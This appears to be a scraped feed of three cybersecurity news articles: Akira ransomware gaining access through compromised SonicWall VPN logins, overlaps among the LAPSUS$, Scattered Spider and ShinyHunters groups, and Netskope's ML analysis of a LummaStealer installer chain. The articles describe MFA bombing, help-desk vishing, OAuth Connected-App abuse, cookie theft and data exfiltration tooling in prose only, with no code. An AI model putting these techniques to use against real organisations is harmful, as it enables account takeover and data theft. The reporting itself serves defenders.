    Before encryption, attackers steal sensitive data. They package files using WinRAR and exfiltrate them with tools like rclone and FileZilla. Finally, they deploy the Akira ransomware (using executables named akira.exe or locker.exe) to encrypt network drives and demand a ransom.

      Arctic Wolf recommends that organizations using SonicWall devices take immediate action. The most critical step is to reset all SSL VPN credentials, including related Active Directory accounts, especially if the devices have ever run firmware vulnerable to CVE-2024-40766. Patching alone is insufficient if credentials have already been compromised.

      Organizations should also monitor for suspicious VPN logins from hosting providers and look for anomalous SMB activity indicative of Impacket use.

      Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post Threat Actors Exploiting SonicWall Firewalls to Deploy Akira Ransomware Using Malicious Logins appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    1. Researchers Uncovered Connections Between LAPSUS$, Scattered Spider, and ShinyHunters Hacker Groups

      ·

      , ,

      The cybersecurity landscape continues to evolve as three of the most notorious English-speaking cybercrime groups—LAPSUS$, Scattered Spider, and ShinyHunters—have been found to share significant operational connections, tactical overlaps, and direct collaboration since 2023.

      These relationships have created what security experts now describe as a highly adaptive cybercrime ecosystem that poses an advanced persistent threat to global enterprises.

      Recent developments reveal that the lines between these groups have become increasingly blurred, with their shared proclivity for social engineering, overlapping membership, and coordinated attacks on high-profile targets demonstrating a level of organization previously unseen in cybercrime operations.

      The attack vectors employed by these groups are not particularly sophisticated in terms of technical complexity but showcase remarkable coordination and exploitation of both human weaknesses and technological misconfigurations.

      Their primary method of gaining access to target networks remains social engineering-based attacks, where actors impersonate employees or contractors to deceive IT help desks into granting unauthorized access.

      Extortion email (Source – Resecurity)

      Despite their “retirement” announcement in September 2025, intelligence suggests these groups continue operating discreetly, having established substantial credibility and a proven track record of successful breaches that allows them to leverage their commanding reputation for private extortion without immediate media amplification.

      Resecurity analysts identified the most concrete evidence of collaboration in August 2025 when a Telegram channel explicitly combined the brands and apparent memberships of all three groups.

      This chaotic channel, eventually banned by Telegram, was used to coordinate threats, tease data leaks, and market a new Ransomware-as-a-Service offering dubbed “shinysp1d3r.”

      The operational division of labor became clear: ShinyHunters confirmed that Scattered Spider provided initial access to targets while they handled data exfiltration and dumps, with LAPSUS$ members serving as active participants in high-profile campaigns including the Salesforce and Snowflake breaches.

      The groups’ association with “The Com” collective further demonstrates their interconnected nature.

      This predominantly English-speaking cybercriminal ecosystem operates as a loosely organized network encompassing a broad range of actors, mainly teenagers and individuals in their twenties.

      The amplification of successful data breaches through official Com channels suggests shared ideology, membership, resources, and possible operational coordination, prompting the FBI to issue warnings about the risks associated with joining such movements.

      Social Engineering and Multi-Factor Authentication Bypass Techniques

      The trinity of hacker groups has refined sophisticated social engineering methodologies that serve as their primary attack vector, with particular expertise in bypassing modern security controls that many organizations consider robust.

      Their approach to multi-factor authentication (MFA) circumvention demonstrates the evolution of social engineering from simple phishing to complex, multi-stage psychological manipulation campaigns.

      LAPSUS$ pioneered the use of SIM swapping combined with MFA bombing techniques, also known as “push fatigue,” where attackers flood victims with authentication requests until they approve one out of frustration or confusion.

      This technique has been widely adopted by Scattered Spider and increasingly used by ShinyHunters in their Salesforce-focused campaigns.

      The groups employ sophisticated vishing (voice phishing) operations where attackers impersonate IT staff members, often armed with detailed organizational knowledge obtained through reconnaissance or previous breaches.

      Attack on Jaguar Land Rover (JLR) (Source – Resecurity)

      Their help desk impersonation techniques involve extensive preparation, including gathering employee names, organizational structures, and internal terminology through social media reconnaissance and data broker services.

      Attackers often call help desks claiming to be employees who have lost their devices or been locked out of accounts, providing enough authentic-seeming information to convince support staff to reset credentials or provide access.

      In OAuth token abuse scenarios, particularly targeting Salesforce environments, the groups exploit the trust relationship between applications and cloud services.

      The technical implementation involves tricking users into authorizing malicious “Connected Apps” in Salesforce, which generates long-lived OAuth tokens that grant persistent access to data while bypassing MFA and other security controls.

      These tokens, once obtained, allow attackers to access customer relationship management (CRM) data at scale, as demonstrated in ShinyHunters’ claims of stealing over 1.5 billion Salesforce records from 760 companies.

      The abuse of OAuth tokens associated with legitimate integrations like Salesloft and Drift showcases how attackers exploit the interconnected nature of modern cloud environments to maintain persistent access while appearing as legitimate application traffic.

      Infostealers play a crucial role in their authentication bypass strategy, with the groups utilizing malware families including Azorult, Lumma, RedLine, Raccoon, and Vidar to harvest not only usernames and passwords but also active session cookies.

      These cookies allow attackers to hijack authenticated sessions and gain immediate access to systems without triggering login alerts or MFA challenges.

      The sophisticated nature of these attacks demonstrates how traditional security measures often fail against well-orchestrated social engineering campaigns that combine technical exploitation with psychological manipulation, making detection and prevention increasingly challenging for organizations relying solely on technological solutions.

      Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

      The post Researchers Uncovered Connections Between LAPSUS$, Scattered Spider, and ShinyHunters Hacker Groups appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    2. LummaStealer Technical Details Uncovered Using ML-Based Detection Approach

      ·

      , ,

      LummaStealer has emerged as one of the most prolific information-stealing malware families in recent years, targeting victims across multiple industry verticals including telecommunications, healthcare, banking, and marketing.

      The sophisticated malware gained widespread notoriety in early 2025 when cybercriminals extensively deployed it in coordinated campaigns worldwide.

      Although law enforcement operations in May 2025 temporarily disrupted its activities, new variants have begun surfacing again, demonstrating the persistent and evolving nature of this threat.

      The malware’s resurgence has prompted security researchers to develop more advanced detection methodologies capable of identifying previously unknown variants.

      Unlike traditional signature-based detection systems that rely on known indicators, modern threats like LummaStealer require innovative approaches that can adapt to the malware’s evolving tactics, techniques, and procedures.

      The stealer’s ability to continuously morph its delivery mechanisms and obfuscation techniques has made it particularly challenging for conventional security solutions to detect effectively.

      Netskope researchers recently identified a new LummaStealer campaign and conducted an extensive technical analysis of the sample identified by hash 87118baadfa7075d7b9d2aff75d8e730.

      The analysis revealed sophisticated code obfuscation techniques, advanced evasion mechanisms designed to bypass security defenses, and complex persistence mechanisms that allow the malware to maintain its foothold on infected systems.

      Process tree (Source – Netskope)

      This comprehensive examination provides critical insights into how the malware operates and the methodologies required to combat such evolving threats.

      Advanced ML-Powered Detection Framework

      The detection of LummaStealer variants requires a sophisticated multi-layered approach that combines traditional static analysis with cutting-edge machine learning techniques.

      Netskope’s Advanced Threat Protection platform utilizes a Cloud Sandbox environment enhanced with purpose-built ML models specifically designed to identify novel and targeted malware samples.

      The system executes suspicious files in isolated Windows environments while capturing comprehensive runtime behavioral data including process trees with API calls and DLL interactions, registry modifications, file operations, and network activity patterns.

      The core innovation lies in the implementation of a tree transformer architecture that analyzes the intricate patterns within malicious process trees and their associated behavioral features.

      This approach employs tree positional embeddings to encode each node and its position within the execution hierarchy, creating a comprehensive understanding of the malware’s operational flow.

      Runtime behavioral features such as registry modifications, file operations, and network communications are encoded into feature vectors and combined with process tree embeddings to generate final malware classifications.

      The transformer-based architecture enables the detection system to capture generalized behavioral patterns rather than relying solely on specific signatures or indicators. This methodology prevents overfitting to training data while significantly enhancing the ability to detect previously unseen threats.

      When analyzing the LummaStealer sample, the ML model successfully identified malicious behavior through process tree embeddings combined with suspicious runtime activities, demonstrating the effectiveness of this approach against sophisticated evasion techniques.

      The analyzed sample was categorized as a Nullsoft Scriptable Install System (NSIS) installer file, which upon extraction revealed multiple components including an obfuscated NSIS script and various payload files disguised with .m4a extensions.

      The malware leveraged legitimate AutoIt scripting language for malicious purposes, highlighting a common tactic where threat actors repurpose trusted system utilities to evade detection while carrying out their objectives.

      [NSIS].nsi: Obfuscated NSIS script, will invoke Parish.m4a to initiate the chain
Parish.m4a: obfuscated batch file
Other *.m4a: Blobs for next stage payload

      The sophisticated evasion techniques employed by this variant initially resulted in a very low detection rate of only 9 out of 73 antivirus engines on VirusTotal, demonstrating the effectiveness of its anti-analysis mechanisms and the critical need for advanced ML-based detection approaches to identify such threats.

      Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

      The post LummaStealer Technical Details Uncovered Using ML-Based Detection Approach appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶